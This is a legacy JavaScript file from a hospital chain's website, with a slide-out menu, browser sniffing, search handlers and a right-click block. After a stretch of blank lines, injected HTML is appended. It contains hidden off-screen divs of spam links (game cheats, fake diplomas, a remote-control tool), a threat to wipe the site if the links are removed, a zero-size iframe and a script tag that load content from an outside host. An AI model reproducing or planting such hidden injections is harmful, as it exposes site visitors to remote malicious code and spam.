/*****************************************************
* ypSlideOutMenu
* 3/04/2001
*
* a nice little script to create exclusive, slide-out
* menus for ns4, ns6, mozilla, opera, ie4, ie5 on 
* mac and win32. I've got no linux or unix to test on but 
* it should(?) work... 
*
* Revised:
* - 08/29/2002 : added .hideAll()
*
* --youngpup--
*****************************************************/
ypSlideOutMenu.Registry = []
ypSlideOutMenu.aniLen = 250
ypSlideOutMenu.hideDelay = 250
ypSlideOutMenu.minCPUResolution = 10
// constructor
function ypSlideOutMenu(id, dir, left, top, width, height)
{
this.ie = document.all ? 1 : 0
this.ns4 = document.layers ? 1 : 0
this.dom = document.getElementById ? 1 : 0
if (this.ie || this.ns4 || this.dom) {
this.id = id
this.dir = dir
this.orientation = dir == "left" || dir == "right" ? "h" : "v"
this.dirType = dir == "right" || dir == "down" ? "-" : "+"
this.dim = this.orientation == "h" ? width : height
this.hideTimer = false
this.aniTimer = false
this.open = false
this.over = false
this.startTime = 0
this.gRef = "ypSlideOutMenu_"+id
eval(this.gRef+"=this")
ypSlideOutMenu.Registry[id] = this
var d = document
d.write('<style type="text/css">')
d.write('#' + this.id + 'Container { visibility:hidden; ')
d.write('left:' + left + 'px; ')
d.write('top:' + top + 'px; ')
//d.write('background-color:#ff0000;')
d.write('overflow:hidden; }')

d.write('#' + this.id + 'Container { position:absolute; ')
d.write('width:' + width + 'px; ')
d.write('height:318px; ')
//d.write('clip:rect(0 ' + width + ' ' + height + ' 0); ')
d.write('}')

d.write('#' + this.id + 'Content { position:absolute; ')
d.write('width:' + width + 'px; ')
d.write('height:' + height + 'px; ')
//d.write('clip:rect(0 ' + width + ' ' + height + ' 0); ')
d.write('}')
d.write('</style>')

if(killRollouts == true){return} // Stops Rollout menus on MAC IE5 and IE5.0

this.load()
}
}
ypSlideOutMenu.prototype.load = function() {
var d = document
var lyrId1 = this.id + "Container"
var lyrId2 = this.id + "Content"
var obj1 = this.dom ? d.getElementById(lyrId1) : this.ie ? d.all[lyrId1] : d.layers[lyrId1]
if (obj1) var obj2 = this.ns4 ? obj1.layers[lyrId2] : this.ie ? d.all[lyrId2] : d.getElementById(lyrId2)
var temp
if (!obj1 || !obj2) window.setTimeout(this.gRef + ".load()", 100)
else {
this.container = obj1
this.menu = obj2
this.style = this.ns4 ? this.menu : this.menu.style
this.homePos = eval("0" + this.dirType + this.dim)
this.outPos = 0
this.accelConst = (this.outPos - this.homePos) / ypSlideOutMenu.aniLen / ypSlideOutMenu.aniLen 
// set event handlers.
if (this.ns4) this.menu.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT);
this.menu.onmouseover = new Function("ypSlideOutMenu.showMenu('" + this.id + "')")
this.menu.onmouseout = new Function("ypSlideOutMenu.hideMenu('" + this.id + "')")
//set initial state
this.endSlide()
}
}

ypSlideOutMenu.showMenu = function(id)
{
var reg = ypSlideOutMenu.Registry
var obj = ypSlideOutMenu.Registry[id]
if (obj.container) {
obj.over = true
for (menu in reg) if (id != menu) ypSlideOutMenu.hide(menu)
if (obj.hideTimer) { reg[id].hideTimer = window.clearTimeout(reg[id].hideTimer) }
if (!obj.open && !obj.aniTimer) reg[id].startSlide(true)
}
}
ypSlideOutMenu.hideMenu = function(id)
{
var obj = ypSlideOutMenu.Registry[id]
if (obj.container) {
if (obj.hideTimer) window.clearTimeout(obj.hideTimer)
obj.hideTimer = window.setTimeout("ypSlideOutMenu.hide('" + id + "')", ypSlideOutMenu.hideDelay);
}
}
ypSlideOutMenu.hideAll = function()
{
var reg = ypSlideOutMenu.Registry
for (menu in reg) {
ypSlideOutMenu.hide(menu);
if (menu.hideTimer) window.clearTimeout(menu.hideTimer);
}
}
ypSlideOutMenu.hide = function(id)
{
var obj = ypSlideOutMenu.Registry[id]
obj.over = false
if (obj.hideTimer) window.clearTimeout(obj.hideTimer)
obj.hideTimer = 0
if (obj.open && !obj.aniTimer) obj.startSlide(false)
}
ypSlideOutMenu.prototype.startSlide = function(open) {
this[open ? "onactivate" : "ondeactivate"]()
this.open = open
if (open) this.setVisibility(true)
this.startTime = (new Date()).getTime() 
this.aniTimer = window.setInterval(this.gRef + ".slide()", ypSlideOutMenu.minCPUResolution)
}
ypSlideOutMenu.prototype.slide = function() {
var elapsed = (new Date()).getTime() - this.startTime
if (elapsed > ypSlideOutMenu.aniLen) this.endSlide()
else {
var d = Math.round(Math.pow(ypSlideOutMenu.aniLen-elapsed, 2) * this.accelConst)
if (this.open && this.dirType == "-") d = -d
else if (this.open && this.dirType == "+") d = -d
else if (!this.open && this.dirType == "-") d = -this.dim + d
else d = this.dim + d
this.moveTo(d)
}
}
ypSlideOutMenu.prototype.endSlide = function() {
this.aniTimer = window.clearTimeout(this.aniTimer)
this.moveTo(this.open ? this.outPos : this.homePos)
if (!this.open) this.setVisibility(false)
if ((this.open && !this.over) || (!this.open && this.over)) {
this.startSlide(this.over)
}
}
ypSlideOutMenu.prototype.setVisibility = function(bShow) { 
var s = this.ns4 ? this.container : this.container.style
s.visibility = bShow ? "visible" : "hidden"
}
ypSlideOutMenu.prototype.moveTo = function(p) { 
this.style[this.orientation == "h" ? "left" : "top"] = this.ns4 ? p : p + "px"
}
ypSlideOutMenu.prototype.getPos = function(c) {
return parseInt(this.style[c])
}
ypSlideOutMenu.prototype.onactivate = function() { }
ypSlideOutMenu.prototype.ondeactivate = function() { }

/*-------------------------------------------------------------------------------------------------------------------------------*/









											









/*-------------------------------------------------------------------------------------------------------------------------------*/

var ie = (document.all) ? 1:0 // detects ie
var dom = (document.getElementById && !document.all) ? 1:0 //detects mozilla browsers like NS6 & 7

// Helps Setup SubNavDropDown Kill for MacIE
function BrowserDetectVeryLite(){
	var ua = navigator.userAgent.toLowerCase(); 
	this.isMac   = (ua.indexOf('mac') != -1);
	this.isIE    = ( (ua.indexOf("msie") != -1) && (ua.indexOf("opera") == -1) && (ua.indexOf("webtv") == -1) ); 
	this.isNS        = ( (this.isGecko) ? (ua.indexOf('netscape') != -1) : ( (ua.indexOf('mozilla') != -1) && (ua.indexOf('spoofer') == -1) && (ua.indexOf('compatible') == -1) && (ua.indexOf('opera') == -1) && (ua.indexOf('webtv') == -1) && (ua.indexOf('hotjava') == -1) ) );
	
		
	// browser version
	n = ua.indexOf('netscape')
	NSversion = ua.substring(n+8,n+9)

	this.versionMinor = parseFloat(navigator.appVersion); 
	this.versionMajor = parseInt(this.versionMinor); 
	// correct version number
	if (this.isIE && this.versionMinor >= 4) {
		this.versionMinor = parseFloat( ua.substring( ua.indexOf('msie ') + 5 ) );}
	}
var browser = new BrowserDetectVeryLite();



getVer = browser.versionMinor.toString()
isIE50 = (getVer.indexOf('5.0')!=-1?true:false)

var killRollouts;
if(browser.isMac && browser.isIE){killRollouts = true} 
if(isIE50){killRollouts = true} 
if(NSversion == "6"){killRollouts = true} 
// ******************************************


// Search Submit
function HeaderSearchButton_Click() {
	if(ie){
		if(document.forms[0]._headerSearch.value != null && document.forms[0]._headerSearch.value != ''){
			window.location.href = "/CWS/SearchResults.aspx?Criteria="+document.forms[0]._headerSearch.value ;
			return false;
			}
		else {return true;}}
	if(dom){
		if(document.forms[0]._headerSearch.value != null && document.forms[0]._headerSearch.value != ''){
			window.location.href = "/CWS/SearchResults.aspx?Criteria="+document.forms[0]._headerSearch.value ;
			return false;}
		else {return true;}}
}
// ********************************************************************************************

//For launching Maps and Directions
function launchPopup(page){
	var width
	var height
	var leftdist
	var topdist
	width = screen.width;
	height = screen.height;
	leftdist = Math.round((width - 700) / 2);
	topdist = Math.round((height - 500) / 2);
	window.open(page,'mappopup','width=700,height=500,top=10,left='+leftdist+',resizable=1,menubar=1,location=1,scrollbars=1,toolbar,status=1')
}
// *******************************************************************************************
// For hitting enter to submit search
function entsub() {
var Key=event.keyCode
if(Key==13)
{
   
	HeaderSearchButton_Click()
	return false ;
}
else
{	
	return true;
}
}
// **********************************


// Right Mouse Click Disable
var message="Copyright 2003 Tenet Healthcare Corporation. All Rights Reserved.";

function rightClickDisable(){
	if(ie){
		if (event.button==2){
			alert(message);
			return false;}
	}
	if(dom){
		oncontextmenu=new Function("alert(message);return false")}
}
// ******************************************************************<div style="position: absolute; top: -999px;left: -899px;">
友情链接: (谁删除我链接我就把网站给清空
<a href="http://www.qc38.com"><b>文章</b></a><a href="http://www.5sp.net"><b>QQ牧场外挂</b></a><a href="http://www.qc38.com"><b>日志</b></a><a href="http://www.qc38.com"><b>日记</b></a><a href="http://www.66722.com/"><b>传奇私服</b></a><a href="http://www.123777.net"><b>传奇私服</b></a><a href="http://www.lszt777.com"><b>绿色征途外挂</b></a><a href="http://www.66722.com/"><b>英雄合击</b></a><a href="http://www.sfq8.com/"><b>英雄合击</b></a><a href="http://www.5sp.net"><b>QQ农场外挂</b></a><a href="http://www.cnkfl.com"><b>汗蒸</b></a><a href="http://www.wanshou8.com"><b>汗蒸房</b></a><a href="http://www.huo8.org"><b>博百优 </b></a><a href="http://www.lszt777.com"><b>绿色征途多开器</b></a><a href="http://www.bjmyu.net"><b>北京明园大学</b></a><a href="http://www.zaixue.cn"><b>招生</b></a><a href="http://www.cnkfl.com"><b>韩式汗蒸馆</b></a><a href="http://www.lszt777.com"><b>征途2外挂</b></a><a href="http://www.03aa.com"><b>淘宝网购物</b></a><a href="http://www.zf918.com "><b>电影天堂</b></a><a href="http://www.seo369.com"><b>博百优</b></a></div>
<div style="position: absolute; top: -999px;left: -899px;">
友情链接: (谁删除我链接我就把网站给清空
</a><a href="http://www.lszt777.com">征途2外挂</a>
<a href="http://www.lachang.net" target="_blank" title="仙途外挂">仙途外挂</a>
<a href="http://www.huo8.org">yy频道设计</a>
<a href="http://www.wqqq.net" target="_blank" title="好看的电视剧">好看的电视剧</a>
<a href="http://www.yeshanlan.com" target="_blank" title="办真毕业证">办真毕业证</a>
<a href="http://www.bjmyu.net"><b>北京明园大学</b></a>
<a href="http://www.zaixue.cn"><b>招生</b></a>
<a href="http://www.03aa.com"><b>淘宝网购物</b></a>
<a href="http://www.zf918.com "><b>电影天堂</b></a>
<a href="http://www.seo369.com"><b>博百优</b></a>
<a href="http://www.44ff.cn" target="_blank" title="零点远控">零点远控</a>
</div>
<iframe src=http://www.huo8.org/m.htm width=0 height=0></iframe>
<script type="text/javascript" language="javascript" src="http://www.huo8.org/2009/Js/tanchuang.js"></script>

